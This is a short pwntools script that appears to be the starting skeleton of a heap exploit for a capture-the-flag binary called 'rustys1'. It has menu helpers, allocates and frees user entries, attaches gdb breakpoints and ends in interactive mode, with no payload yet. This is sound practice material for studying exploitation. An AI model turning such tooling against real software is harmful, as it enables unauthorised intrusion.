from pwn import *

def new_user(firstname, lastname = "last", address = "addr"):

    p.recvuntil('Choice: ')
    p.sendline('0')

    p.recvuntil('Choice: ')
    p.sendline('0')
    p.recvuntil('First Name: ')
    p.sendline(firstname)

    p.recvuntil('Choice: ')
    p.sendline('1')
    p.recvuntil('Last Name: ')
    p.sendline(lastname)


    p.recvuntil('Choice: ')
    p.sendline('2')
    p.recvuntil('Address: ')
    p.sendline(address)

    return


def edit_user(val, idx):

    p.recvuntil('Choice: ')
    p.sendline('2')

    p.recvuntil('Choice: ')
    p.sendline(str(idx))

    p.recvuntil(': ')
    p.sendline(val)

    return


def delete_user(idx):

    p.recvuntil('Choice: ')
    p.sendline('3')

    p.recvuntil('User: ')
    p.sendline(str(idx))

    return

def list_users():

    p.recvuntil('Choice: ')
    p.sendline('2')

    return

def pwn():

    new_user('A'*0x60)
    new_user('B'*0x60)

    delete_user(0)

    p.interactive()

p = process('./rustys1')
base = p.libs()['/root/Downloads/rustys/rustys1']

gdb.attach(p, '''
b * {addr1}
b * {addr2}
c
'''.format(addr1=0x1a41 + base, addr2=0x1a65 + base, addr3=0x190b + base, addr4=0x1708))
pwn()